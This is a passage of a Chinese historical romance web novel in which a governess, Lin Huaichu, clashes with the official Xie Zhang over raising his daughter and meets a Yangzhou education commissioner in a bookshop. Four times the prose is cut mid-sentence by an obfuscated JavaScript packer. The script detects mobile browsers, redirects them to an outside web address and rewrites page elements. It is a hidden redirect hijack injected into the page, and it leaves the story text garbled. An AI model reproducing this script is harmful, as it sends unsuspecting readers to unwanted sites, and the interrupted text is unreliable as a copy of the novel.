好几次，脚步声离林怀楚很近很近。 林怀楚的心不禁提到了嗓子眼，心如擂鼓，却努力放缓自己的呼吸，生怕被那人发现。 但好在那人并未往屏风后来，林怀楚看不见她是何人，她亦不知林怀楚的存在。 林怀楚忧心那人是家贼，思索着是否要走出屏风与那人对峙。 她刚刚迈出左脚，说时迟、那时快，一声清越的呼喊响彻耳畔： “画屏姐姐——画屏姐姐——王妈找你呢——” 一个嗓门大的小丫头在外吆喝着，声音尚远，但却让人听得一清二楚。 那人正在书房中四处翻找，听到吆喝声后，狠狠啐了一声，匆匆忙忙地出了书房。 林怀楚大惊失色，感到难以置信。 “家贼”竟然是画屏？ 她一个谢家小姐的贴身丫鬟，为何会到谢家主人的书房来？ 她来此地如此匆忙，究竟是想寻找何物？ 林怀楚百思不得其解，但亦不敢在此地久留，见阿满脚步声消失了，便也匆匆地退了出去。 她并未留意到，先前王妈托自己绣的帕子被落在了屏风后。 那一块绣着合欢花的帕子，丝绸质地，原先是王妈向林怀楚求来，要送与自己的新相好的。 锦帕落地，悄然无声。 两个时辰后，通州码头。 谢章面色凝重地走下船，官袍被西风吹起。 同他一起下船的有伍四六，还有那名在瓜州巡检司羁候所中毒身亡的儒生的妻子。 那是谢章带回京城的证人，名叫秦英，将要带去面圣，俱述当地儒生的冤情。 此刻，那儒生之妻秦英一改先前的癫狂之态，整个人沉默而冷静，薄唇抿起，目光有如利刃一般，直直地望向远方的高楼。 谢章答应她，若她出面作证，帮他扳倒扬州府一众贪腐之辈，为自己的丈夫沉冤昭雪，便会为自己谋一条出路。 不再靠任何男人的出路。 三人下船时，已近黄昏。 本来想尽快带秦英去见皇帝，但算算时间，此刻宫门已快下钥了，谢章于是开口道： “秦姑娘若不弃，可在谢某府中落脚。” 见谢章如是邀请她，秦英毫不客气地答应下来： “好啊，谢大人大气，在下恭敬不如从命。” 于是众人一同乘了马车，一路往谢府去了。 迎接众人的是谢府中的小厮。 王妈说是家中出了些急事，今日一早便回家去了，明日才回府，如今并不见人。 谢章让伍四六好生安顿好秦英，自己心中则念着三年不见的阿满，于是来不及歇息，马不停蹄地往琅玕院赶来。 但到了院门口，谢章望着深沉如墨的夜色，突然意识到，平日里这个时辰，阿满早已歇下了。 思及此，谢章收回了敲门的手。 但三年不见，或许阿满已改了作息呢？谢章自欺欺人地想着。 他自知失职，只想看看阿满是否过得还好。 一刻也不想等。 犹豫许久后，谢章还是纠结着，叩响了院门。 等了片刻，无人应答，无人开门。 或许是自己声音太轻了？谢章不禁自我怀疑。 于是又叩了第二回。 依旧无人开门。 第三回。谢章不肯放弃。 终于，他听见有人来了。 他听到抽门栓的声音，随后，大门被打开。 第一眼见到的人是…… 林怀楚。 林怀楚开了门，手中还拿着条硕大的烤鹅腿，与谢章四目相对。 林怀楚：“……” 谢章：“……” 两人几乎是同时认出了对方。 谢章发现，对方是先前客船上那个被自己错占了房间的孤傲女子。 林怀楚发现，对方是那个被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450300|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客船掌事坑了的倒霉官老爷。 道歉时还会脸红。 两人面面相觑，半晌无言。 最后，林怀楚率先打破了沉默。 “官老……老爷，您便是谢家的当家老爷吧，久仰，久仰……”林怀楚谄笑着冲谢章打起招呼。 毕竟，这人可是自己的主顾，自己的工钱，都从这人的荷包里取。 为表自己对谢章的尊敬，林怀楚把大鹅腿背到身后，恨不得给谢章来个九十度鞠躬，自我介绍道： “见过老爷。在下是扬州苏家介绍来的闺塾师，姓林名荆。老爷叫我林怀楚便好。” 谢章见了林怀楚的脸，又思及自己在客船上做过的梦，心中五味杂陈，一时竟不知道如何回应，最后从口中挤出一句： “你名中的“金”，是哪一个字？” 林怀楚立马回答道：“回大人，是荆轲的荆。” 说完后，又觉得以刺客为例是不是有些不妥，遂补充道：“《说文》有云：‘荆，楚木也’，在下的名字，便出于此。” 见林怀楚这般郑重地介绍了自己的名字，谢章亦介绍起自己的名字： “在下名章，字凤飞。” 顿了顿，亦解释道： “吾贤领隽，迈俗凤飞。” 原来是出自谢安的诗。林怀楚连连点头，表示自己知晓了。 虽然她也没问。 介绍完姓甚名谁，两人再次相对无言。 林怀楚借着灯光看向谢章。 三个月不见，虽不知他为何耽搁了行程，但那张面若敷粉的脸，却是一如初见般姣好。 这位谢大人生得倒是好看。 谢章避开林怀楚的视线，问道： “阿满歇下了么？” 林怀楚摸了摸鼻子，不知该不该实话实说。 阿满并不会歇得这么早。 方才她还忙着在院中与自己和画屏烤鹅腿吃。 本来最先烤好的是阿满那条鹅腿，但她执意要让林怀楚先吃。 谢章敲了三回房门，但三人只顾着说笑，都以为是别处的声音。 直到林怀楚发觉，确实有人在敲门。 本该由画屏去开门，但林怀楚又怕剩下的鹅腿烤糊了，就让还没吃上鹅腿的画屏和阿满好生守着炉子，由自己来开门。 这才有了林怀楚与谢章重逢的尴尬情形。 这头，阿满也终于吃上了鹅腿，见林怀楚久久未归，便出来查看情况。 于是乎，谢章面前，林怀楚与阿满一大一小、一师一徒，手上都拿着大鹅腿，吃得满嘴流油，罚站一般立于谢章跟前。 谢章的唇角抽搐了两下，最后对林怀楚说道： “劳烦林小姐明日来我书房一叙。” 完了。林怀楚心想。 主人家三年不着家，偏生就在今日回了家，还被他见到自己大晚上带着孩子在院中开小灶。 天要亡我！ 当然，那一番都是林怀楚的心理活动。 她面色如常，彬彬有礼地应了下来：“是。” 心中所想的却是： 你个离家三年的人还敢教我带孩子？ 况且，你我有何可叙？叙你在去往瓜洲渡客船上干的蠢事？ 谢章好歹是见到阿满了，便借故离去。 林怀楚和阿满送了客，回到院中继续吃鹅腿，但都觉得没滋没味。 这一夜，有三个人没睡好。 谢章又做起化蝶而飞的梦。 8. 牡丹亭 次日清晨，王妈从城南家中匆匆忙忙赶回谢府，生怕自己不在府中这段时间会出些什么事。 刚下了马车，门前的小厮立马迎了上来，火急火燎地对她说道： “王妈，大少爷昨日傍晚便回来了！” 他竟然比自己预想的要早几天回府。 王妈又惊又喜，顾不得拭去赶路赶出的满头大汗，提裙就要回府去见谢章。 小厮话才说了一半，见她要走，忙伸手将她拦住： “王妈，慢着！还有一事……” 提起此事，小厮变得吞吞吐吐起来。 “昨天……我照旧在门口守着，见远远的两辆马车驶了过来，就知道是大少爷和四六哥回来了。果不其然，大少爷从前头那辆车上下来了。然后……” “有个女人从后头的车上下来了！我可看得清清楚楚！王妈，大少爷可从未带过女人回来。该不会那人就是……” 王妈立刻明白了他话中的意思： “难不成那便是阿满的娘？大少爷就没对你们说些什么？” “并未。”小厮摇了摇头。 谢章一早便上朝去了，王妈纵想问，也无处去问，又不好贸然去打扰那女人，只能压下心中的好奇。 与此同时，谢府后院中。 阿满还未起床。林怀楚无事可做，独自走在一条小径上，穿花拂叶，静静感受着七月清晨的凉风。 小径曲曲折折，又有浓荫掩映，一眼看不到前路。 她漫无目的地走了好一段路，正寻思着这条路何时才走到头。 忽然，迎面撞见了个面生的人。 于是乎，两个女人站在狭长的小道上，面面相觑。 林怀楚见了生面孔，感到十分诧异。 “姑娘是？” “我叫秦英。” 两人几乎同时开口，见对方与自己如此默契，又不禁同时“噗嗤”一笑。 “秦姑娘好，我叫林荆，是这府中的闺塾师。敢问姑娘是几时来的谢府？我竟从未见过姑娘。” 谢章将她秘密安置于客房中，出门前却忘了叮嘱下人要为她准备餐食，秦英气不过，打算自己找去府中厨房，摸点东西吃，为了避开人才走的小路，却不曾想遇到了林怀楚。 秦英听林怀楚叫她姑娘，觉得对方是在夸她，乐得直摆手： “嗨，可别叫我姑娘了，我前儿才死了男人呢，你看着比我小些，叫我姐姐吧。” 林怀楚这才发现，秦英发髻低挽，只以一根木簪固定，衣衫亦素净非常。 正是大夬朝所要求的孀妻打扮。 但秦英表现得十分豁达，并不像遭遇过这般祸事之人。 皇城内，刚刚退了朝，百官三三两两地往外走。 谢章略过一众有意同他寒暄的同僚，逆着人流，步履匆匆地往御书房中赶。 三年外迁，是圣上递给他的跳板。 今日早朝上，圣上对他不吝赞美，并升了他的官。 群臣无不啧啧称奇，都羡他年纪轻轻就为自己挣了个平步青云的好前程。 但先前在瓜洲给圣上写的信中，他早已备述瓜洲种种怪象，并希望圣上能够助他查明真相。 一日之间，八名儒生同时同地暴毙，江防同知与巡检司却含糊其辞，其背后的扬州府对此不管不顾，难道这还不算大事？ 他如今已将证人带回京城，只待圣上问起之时，一举揭发此事。 可为何，圣上今日在朝上只字不问，给了他封赏，却不给他上奏的机会？ 他要去找圣上讨个说法。 来到御书房前，谢章被皇帝的贴身大太监德贵公公拦了下来。 “圣上正在里头忙着见人呢，谢大人改天再来吧。” 谢章执拗地站在原地，一动也不动。 长眉蹙起，嘴唇被抿成一条粉白的细线。 素日里古井无波的眼中，亦潋滟起愤懑的水光。 知道谢章性子倔，德贵公公本想再劝他一句，让他早些回去，谁知谢章低下头，冷不丁地开口： “德贵公公可否行个方便，让我进去，见圣上一面？” 此言一出，德贵公公难掩惊讶之色。 谁人不知，谢章素日是最不肯低头的。自己纵为皇帝的身边人，却也从未见他说过什么让自己行方便的话。如今，他却难得将自己的骨头软了一软，说起了求情的话。 谢章默默垂着头，如同在等待头颅落地一般，等待着德贵公公的回答。 他心中很清楚，此事断然不能再拖。 若弃之不管，未来的万千扬州学子将立于何地？天下学子将立于何地？ 好在德贵公公终于松了口，妥协道： “那谢大人先在此地等候，我进去问问圣上的意思。” 他转身进了御书房。 不久后，从御书房中走出个年轻人，与谢章擦肩而过。 他先前从未见过此人。 但那人从他身边走过，步履端方，眉目间却有一股富贵纨绔之气。 一双凤目朝他这头睐过来，眼神中似有挑衅之意。 谢章来不及细想，德贵公公也从御书房中出来了，招呼他道： “谢大人，请吧。” 谢章忍不住问了一句： “方才那人是谁？” 德贵公公回道： “那位啊，是前些日子才从扬州府回来的学政，宋羲卿宋大人。” 谢章到了中午也没回府。 林怀楚原先还忧心着谢章昨日说的，今日要约她谈话之语，见谢章并没回来，也就松了口气。 又活一上午，挺好。 今晨与秦英虽为初见，但二人一见如故，聊了聊各自的籍贯，不知何人话锋一转，竟又聊起各自看过的书来。 林怀楚自幼读的多是圣贤书，秦英听后，一摆手道： “嗨，我都不爱看这些，天天听我那个死相公念念叨叨的，我都背会了，他还记不住呢。” “你游历过这么多地方，就天天钻研那几本书，连当下时兴的书都不看的么？” 林怀楚还真不了解当下时兴什么，于是便问道： “那秦姐姐平日都看些什么书？” “要说我平生最爱，还属《牡丹亭》。” 秦英说着，还舔了舔嘴唇，似在回味。 “你去外头问问，如今上至贵族家的小姐，下至认得几个字的布衣之女，哪一个是不读《牡丹亭》的。” 阿满就不看。林怀楚腹诽。 虽然她才五岁。 “我家中倒是有好几版 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450301|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只可惜我现在是个寡妇，不好将这种书带来带去。若直接将情节口述与你，又失了意趣……” “这样，你得了空时，到外头的书铺去买一本来看，包君满意！” 秦英拍着胸脯，热情地打起包票，说得林怀楚有些心动。 于是，午饭后，林怀楚和王妈打了声招呼，出谢府买《牡丹亭》去了。 林怀楚这三个月来并未出过谢府。 除了有几回出去买桂花油与糖瓜。 京城挣钱回家花，俭省着些才能攒下钱来。 同门口小厮打听了一下最近书铺的位置，林怀楚出发了。 走出官员宅邸密集的长巷，她一路走入闹市。 今日大抵是什么出行的好日子，这条街的人格外多。 林怀楚逆着人潮行走，低声喊着“借过借过”，侧身从人群的间隙中挤过。 好不容易到了书铺前，林怀楚松了口气，走入其中。 书铺内人还不算多，林怀楚在架间行走，目光从一排排书册中扫过。 秦英笑她不懂时兴的书，那她便先看看究竟时兴些什么书。 一眼看去，光是《列女传》就有许多版，还有些没听说过的小说。 林怀楚逛得兴趣缺缺，只想立马买到《牡丹亭》后走人。 于是开口问向店小二： “小二，店中可有《牡丹亭》？” 书铺老板正色道： “诶，这位姑娘，在下可不是小二，在下姓许，是这家书铺的主理之人。” “许老板，我想买本《牡丹亭》。”林怀楚改了对他的称呼，再次提出诉求。 “姑娘来得不巧了，店内新进了一批《南塘客评牡丹亭》，但卖得实在太好了，如今已卖光了……” 话未说完，外头又进来了个人，一进门就将一个钱袋砸在柜台上，朝许老板喊道： “那个姓许的小二，把你店里所有的《牡丹亭》都拿出来，我都要了！” “好嘞！” 林怀楚眼睁睁地看着许老板巴巴地迎了上去，又命人从库房中抬了一批书出去。 林怀楚走上前去，看了看那些书的书封。 《南塘客评牡丹亭》。 “敢问公子——” 林怀楚问向那刚从外头进来的人： “敢问公子先前把这些书订下了么？方才我问许老板，他说《牡丹亭》已卖光了。” 那人比她身量高些，微微低头，看向林怀楚，无辜道： “没有啊，我就是临时起意过来的。” “这姓许的精得很呢，看什么书卖得好，就谎称书都卖完了，其实库房里存货多得很。” “他方才那样骗你，过一会子，又会说，其实原先还给其他人留了一本云云，诱你出高价买下来。” “不过他没这个胆子骗我，因为……” 那人话说到一半，又止住了，随后大方地说道。 “你若想看这书，我送你一本好了。对了，你叫什么？我叫宋羲卿。” 那人笑盈盈地看着林怀楚。 林怀楚拿着宋羲卿送的书走在街上，耳边全是那一句“有缘再会”的话。 这人看着像个膏梁纨袴之辈，倒还挺热心的。 想来应是个散财童子吧。 9. 御书房 “圣上，瓜洲一事，臣无法坐视不理，求圣上，见一见臣带回的证人……” 谢章跪在金砖上，朝皇帝深深行了个礼。 他曾以为自己的书信被人压了下来，未被皇帝看到，也曾想过皇帝日理万机，将此事忘了。 可他一进御书房，自己那封信赫然摆在一众奏折之上，显然是被看过了。 那圣上方才对此事闭口不提，究竟是为何？ 且方才从御书房出来的生面孔，经德贵公公介绍，正是扬州府的学政。 整个扬州府的科举，都归学政掌管，八名儒生之死，若与扬州府院试有关，这位学政也定然脱不开关系。 为何圣上要单独会见这扬州学政？ 谢章心中思绪翻涌，只觉膝下的寒凉，直抵骨髓。 九五之尊似是看穿了他的心思，靠坐在椅背上，摇摇头，面上的表情教人难以参透： “凤飞，此事朕心中有数，你无需再管。” “如今你如愿进了六部，这些事已不在你分内。” 谢安执拗道： “此案一日不结，臣一日不去六部点卯。” 他言之凿凿，目光坚定： “求圣上彻查扬州府院试舞弊之事，莫要令天下学子寒心。” 皇帝叹了口气，面色变得不大好看，幽幽劝道：“凤飞，此事我早已知晓。但，此事并不如你想的那般简单。” “既然许了你好前程，你只管安心走下去便是。回去吧。” 德贵公公察言观色，也跟着劝道： “谢大人请回吧，皇上乏了。” 谢章如同行尸走肉般走出御书房。 才出宫门，就下起了雨。 天青如瓷，四面朱墙琉璃瓦，皆被笼罩于蒙蒙烟雨之中。 伍四六撑着把伞，在宫门前等候已久，见谢章淋着雨走出来，忙迎了上去，关心道： “大少爷，怎的在宫里耽搁了这么久，这会子才出来？” 谢章缄默不语，失魂落魄地上了车。一路上一句话也不曾说。 伍四六心知自家少爷这是在皇上那碰了壁，也不再多问。 只默默地让车夫走得快些。 谢章的为官之路，堪称一路坦途。 出生书香世家，世代簪缨，年纪轻轻便科举中第。十七岁便于金殿上得了圣上赏识，成了名动京城的状元郎。如今三年外派结束，只怕今后也会越走越顺。 但偏偏就在回京的关头，遇上了这桩案子。 马车驶过之处，雨水朝车轮两侧飞溅开来。斜雨胡乱地打在车顶，一如谢章乱麻般的思绪。 他此刻才发觉自己方才在雨中行了一段路，此刻面上还淌着雨水。于是将手伸进怀中摸帕子。 摸了两下，从怀中慢慢抽出一条粉白的绸缎帕子，其上绣着合欢花，并不像是自己素日里会用的东西。 谢章：？ 回忆片刻，才想起这是他昨夜离了琅玕院后，在书房中拾到的帕子。 自己的书房遭人动过，四处都是被翻过的痕迹。 那人自以为手段高明，不留痕迹，但书的顺序乱了，柜中东西的摆放顺序，也乱了。 好在重要之物并未丢失。 他正欲离开时，在屏风后拾到了这条帕子，怀疑是从那“小贼”身上落下的，便揣进了怀中，打算回头问问王妈。 谢章摩挲着手中的帕子。 很滑。 合欢花的针脚细细密密，想来应当花了不少功夫。 如此精细的花样，是要拿去送人的？送与心上之人？ 他呆呆地盯着帕子看，不知不觉已将其紧紧攥住，开始漫无边际地猜测起来。 眼看着，就要到家了。 伍四六怕谢章在车上睡着了，正欲出言提醒，却听他冷不丁开口道： “等等，先停车。” 伍四六朝前望去，发现谢府前已有车在门前停着了，忙令车夫在转角处停下。 那并不是谢府的车。 一个伍四六没见过的男人下了车，紧接着又下了个他没见过的女人。 伍四六忍不住朝车内问道： “大少爷，府里这是来客了？” 那两人在门前拉扯了一番，不知说了些什么，最后男人回了车上，女人进了府。 这两人，伍四六不认识，谢章却不然。 这两人都是他才见过的人。 一个是扬州苏家介绍而来的闺塾师，带着自家阿满大半夜烤鹅腿吃的林怀楚。 一个是今日在御书房前擦肩而过的，刚从回京述职的扬州府学政，宋羲卿。 她们二人为何会有交集？谢章扶额，强迫自己别再胡思乱想。 待那陌生马车离去，伍四六才命车夫继续往前。 王妈见谢章冒雨回来了，怕他受了寒，忙先令厨房去为他备姜汤。又想起他应当还未用过午饭，便又令厨房一并备饭。 谢章淋了雨，回房中换了身衣服，这才出来见王妈。 “大少爷这三年，瘦了许多，是在外头吃苦了？” 王妈心疼地捏了捏谢章的肩，命人快些将饭呈上来。 谢章是她从小看到大的。他年少时便没了父母，又无兄弟姐妹帮衬，王妈怜他萱椿早背，便帮着他操持。 如今一晃，竟这么大了。 谢章见了亲近之人，不禁勾了勾唇，似坚冰初融、旱地逢雨。 “这三年，辛苦王妈了。” 对他来说，王妈就是他如今的至亲。 两人寒暄了几句，谢章突然想起手帕之事，便将那合欢帕掏出，问道： “王妈，你对后院之事最为知晓，可知这是谁的帕子？” 王妈见了帕子，嘴角抽了抽，不知该如何作答。 她一眼就认出，这是林怀楚的手笔。 自己那日见林怀楚在园中做女红，便凑过去看了一眼，发现林怀楚的女红十分精湛，便夸赞了几句。 一问才知，林怀楚为了攒钱，会在闲时绣些小物件，拿到外头去卖。 正好她近日找了个相好，于是便在林怀楚处下订，让她为自己绣一条合欢花帕子去送人。 谁知这帕子兜兜转转，还未到她手上，却先到了谢章手上。 王妈只能如是回答道： “少爷，这是小姐的闺塾师绣的帕子，不如我……” 谢章一听又是林怀楚，没等王妈将话说完，便“噌”地一下站起身来，冷脸道： “王妈，将林小姐叫到书房去，我有话要问。” 林怀楚也没料到，好不容易出了趟门，就遇上了大雨。 抱着买来的书在屋檐下避雨时，一辆马车正好在她面前停下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450302|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 散财童子宋羲卿从车窗中探出头来，语气欢快地邀请道： “林小姐，要我送你吗？顺路。” “我分明未曾告诉你我的住处，怎么就顺路了？”林怀楚不解。 “京城之中，四通八达皆是路，走哪条路不算顺路？”宋羲卿眨眨眼，继续邀请道。 不知这雨还要下多久，若回去太晚，阿满今日的课又该上不成了。 林怀楚思忖一番，颇为忐忑地上了宋羲卿的车。 于是便有了谢章先前所见的那一幕。 谢府门前，宋羲卿执意要将自己的伞也送给林怀楚。 林怀楚不愿一再欠其人情，便断然拒绝。 宋羲卿不依。 于是两人在谢府门前拉扯了一番，最后林怀楚无法，还是收下了，催宋羲卿快些离开。 她刚回到后院，王妈便急匆匆找了过来，面色焦急： “怀楚，大少爷让你去书房，你……” 果然，该来的还是回来。 林怀楚在心中暗暗为自己打了打气，怀着视死如归之心，朝谢章书房而去。 无论怎么看，谢章都觉得林怀楚此人疑点重重。 自己书房中出现她的帕子为其一，被他撞见和宋羲卿在一起为其二。 他脑中构思了一万种审问她的方式，但最后真见了人，却再一次一句话也说不出来。 书房的门没关严，他透过门缝，看见一抹桃红。 那人在廊下收伞。伞是月白色的，像是先前宋羲卿在门前塞给她的那把。 谢章不自觉地正正衣襟，端坐在桌前，随手拿起桌上的一支羊毫，蘸了蘸墨。 随后，他听见敲门声。 “进。” 林怀楚推开门，第一眼所见，是谢章身着玉色长袍，清雅端方，临案挥毫。 见她来了，谢章方抬了抬眼，示意她坐下。 林怀楚依言，在他对面坐下。 随后，等了许久，谢章都只是忙着在纸上写着些什么，一言不发。 纵林怀楚再不愿与他谈话，也忍不住提醒道： “谢大人？” 谢章被催促后，也不好再沉默，抬起了脸。 是的，他一见林怀楚就忘词了。 “你……” “昨夜我去琅玕院，阿满为何酉时还未歇下？” “回大人，阿满这个年纪正是爱玩的时候，过了戌时才歇息呢。” 谢章听林怀楚说阿满爱玩，皱了皱眉： “孩子不愿睡，也该劝着她睡下。纵睡不着，也该安安静静地才好，玩玩闹闹，只怕会移了性情。” 林怀楚听了他这话，好气又好笑。 谢章真的养过孩子吗？酉时吃个鹅腿就会移了性情了？ 于是她毫不客气地回怼道： “谢大人离家三年，不知道阿满近况，可以理解。不过，大人以为，三年不见人的父亲和与孩子朝夕相伴的先生，哪一个更懂得教育孩子？” 谢章见了她本就莫名地紧张，被林怀楚戳中了心事后更是不知如何是好，不由得开始口不择言： “林小姐，在下这三年在外，正是前去督查各地学堂、科举之事。” “林小姐以为，我和你，哪一个更懂得教育？” 话毕，谢章便后悔了，只可惜，覆水难收。 10. 合欢帕 谢章此言既出，便见林怀楚长眉一挑，抱臂往椅背上一靠： “原来如此，谢大人身兼要职，真真是皇恩浩荡！” “怀楚愚钝，阿满虽然才五岁，但自然也该照大人的意思，与那些满口‘之乎者也’的酸儒生一般教导才是。” “当初在扬州，虽苏家老夫人对怀楚赞叹不已，到底还是比不过谢大人英明神武。” “怀楚，自惭形秽。” 她素日里见了谁都是笑盈盈的，如今却毫不吝啬地极尽刻薄之语。 阿满这些年在谢府，上无父母教养，下无塾师开解，郁郁终日，形单影只。纵有王妈时不时关心着些，但到底事务繁忙，大多数时候无暇照管。 可谢章事到如今还在要求阿满，要端庄，要知礼。 何必拿《女诫》来要求一个孩子？ 林怀楚绝不许谢章今后再伤阿满半分。 谢章的手垂在桌下，不自觉地攥紧了那条原先预备拿出来质问她的合欢花帕子。 他本意并非如此。 几月前，他不明事情原委，任由客船上的掌事欺辱她。 后来知晓了真相，却连一句歉也未好好道一声。 而方才他的话…… 明知自己失职，但话到嘴边，就成了尖刀。 谢章此刻已全然将心中对林怀楚的怀疑抛之脑后。 他觉得，自己将人从扬州苏氏要了过来，是拖累了她。 她在苏家，过得很好。 不如趁着这次争执，放她回去。 “林小姐，不如我今日便修书一封，将你送回扬州。” 谢章不自觉地抿了抿唇，眸光闪烁。 他其实暗暗希望林怀楚能留下来。 但在他人眼中，却是他一言不合便冷了脸，要将人赶回去。 他与林怀楚的初见，其实并不是在几月前的客船上。 八年前，他母亲仙逝，临走前，叮嘱谢章将自己的骨殖带回扬州。 生为扬州子，只合扬州死。 服丧三年后，他十五岁。 谢绝了其他欲与他同行的宗亲，只带了伍四六并其他三个信得过的随侍，一路从通州码头南下，护送母亲回家。 那是他第一次远行。 人道“父母在，不远游”，可他的父母，皆不在了。 到了苏家，见过外祖母，母亲的骨殖终被葬于苏家祖坟。 苏家老夫人见他形销骨立，心有不忍，便让他在扬州多留些时日，再陪陪母亲。 恰逢烟花三月，扬州春色无边。 舅舅在苏家别苑枕河园中宴请文人雅士，邀他同去。 他虽丧期已满，却兴趣缺缺，众人在园中饮酒联诗，他则借故离席，独自在园中漫无目的地行走。 酒过三巡，众人纷纷醉去，或入了桃源，或见了诗仙。 谢章见了此景，不禁又忆起谢家旧事，遂取来笔，在一面题字用的粉墙上写下： “文君依墙卧，叔夜枕河眠。” 昨日锦绣堆，今日黄沙冢。 文君、嵇康也曾酩酊大醉，虽早已化为一抔黄土，但文章千古，流传至今。 他父母虽早早弃他而去，然旧时欢笑，犹在眼前。 他书毕，在其下署上自己的字： “凤飞。” 见有人来了，他不愿被看见，忙走到远处僻静地，暗中观察。 来人着一袭藕色春衫，举手投足间自是一番风流。 以手扶额，身形摇晃，最后竟倚着粉墙席地而坐，一歪身子，撑着头沉沉睡去。 想来是被人劝了酒，如今正难受着。 身为男子，他不敢上前，恐失了礼数。 但曾听闻自家舅舅手下有几个手脚不干净的小厮，恐她在此地落了单，被人冒犯，遂也并未离去，而是远远地守着。 宴罢，宾客四散，很快就有人发现了她，见她依墙而卧，又见了墙上他题的句，于是都调侃她道： “诸位快看，文君醒了！” 她，便是林怀楚。 自枕河园一别，谢章又在扬州停留几月，最后带着伍四六返家。 谁曾想，这一返，江山易主。 当今圣上于幽州自立为帝，国号大夬。 前朝大燕君主为抵御北面的大夬强敌，于长江一带设起防线，但最终折戟，成了历代王朝中的短命鬼。 谢家祖宅，正位于幽州。 燕、夬两军交战之际，幽州城门紧闭，常人不得进出，只有南边来的捷报频频传入王庭。 八月，破了建康。 九月，攻入维扬。 对于帝王将相来说，卷卷捷报是功成名就、是加官进爵。 可对于幽州百姓来说，每一封捷报，都有可能是江南亲友的死讯。 对谢章来说，亦然。 祖母，亲友，许多重要的人，都在江南。 谢章那些日子也时常不禁想到，那年与他匆匆一面的人，也在江南。 谢章收回思绪，重新将目光聚焦在林怀楚身上。 还好，苏家无事。 她也在自己的私心之下，安安稳稳地来到了京城。 虽然他前不久才知道她的名字。 林怀楚自然不肯将阿满一个人留在这冰窟般的谢府，正欲张嘴拒绝，不料却有人先她一步开了口。 王妈在门外偷听了好一阵，本是想着，自家少爷若真的为难了林丫头，自己也好及时出现，替她说说话。 顺便打听打听谢章昨日带进府的女子究竟是何许人也。 谁知谢、林二人你一言，我一语，不过三两句话的功夫，矛盾之大，竟到了要将人遣送回扬州去的地步。 昔日姮娥奔月，也不带这么快的啊！ 她来不及细想，忙一把推开门，走入房内劝道： “大少爷，三思啊！” “林丫头……林小姐来府中不过三个月，阿满虽还不肯言语，笑脸却比先前三年都还多些，吃饭也有胃口了，也爱出院子跑跳了……” “王妈我虽是个粗笨的人，不认得几个字，亦不懂你们读书人心中都想些什么，但养孩子，我却还略通些。” 王妈扶着桌沿，言辞恳切： “林小姐勤勤恳恳，满心满眼里都是孩子，大家伙都看在眼里。她与阿满那样好，若她真要走，只怕阿满也不依。” “还请大少爷，将林小姐留下吧。” 她不知为何谢章会动怒，亦不知为何林丫头绣的帕子落到了他手里，但她知道，这是个极好的孩子，其中必然有什么误会。 谢章并未料到王妈会突然出现为林怀楚求情。心中更忐忑了几分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450303|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他复将目光投向林怀楚。 若她亦想留下…… 那便随她。 林怀楚干脆利落地回绝道：“我不走。” “老夫人之托，怀楚不敢辜负。” 王妈和谢章闻言，都暗暗松了口气。 却听林怀楚话锋一转： “谢大人也不必急着赶我，等到阿满真正开口说话那一天，怀楚自会离府。” 若阿满真能开口说话了，想来那时已解开了心结，亦有了能在谢府中自保之力。若真有那么一天，她也就了无遗憾了。 到了那时，她的钱也该攒够了，大可一路南下，回楚地去，安心地办她的女学。 在王妈和林怀楚的注视下，谢章点了头。 “好。” “不过，日后林小姐讲课，需得给我留个旁听的位置。” 林怀楚丝毫不怯，一口应下： “好，那怀楚，便恭候谢大人了。” 虽不知谢章是否是在有意为难，但她林怀楚授课，从不怕他人检验，不过是多一把椅子的事。 林怀楚见谢章并无其他话说，便推开椅子，起了身。 “谢大人若无其他事，那怀楚便回琅玕院了。” 廊下尚有雨水在淅淅沥沥地滴，但外头的雨已然停了。 她走得急，忘了拿走自己来时撑的伞。 此刻，她心中想着的是—— 刚买的《牡丹亭》还搁在院子里呢，可别被阿满先一步找着了。 孩子还小，别让孩子看这些。 王妈看了看林怀楚远去的背影，又看了看仍坐在原处，此刻正盯着白墙发呆的谢章： “大少爷，那手帕之事……” 谢章回过神来，垂了眼眸。 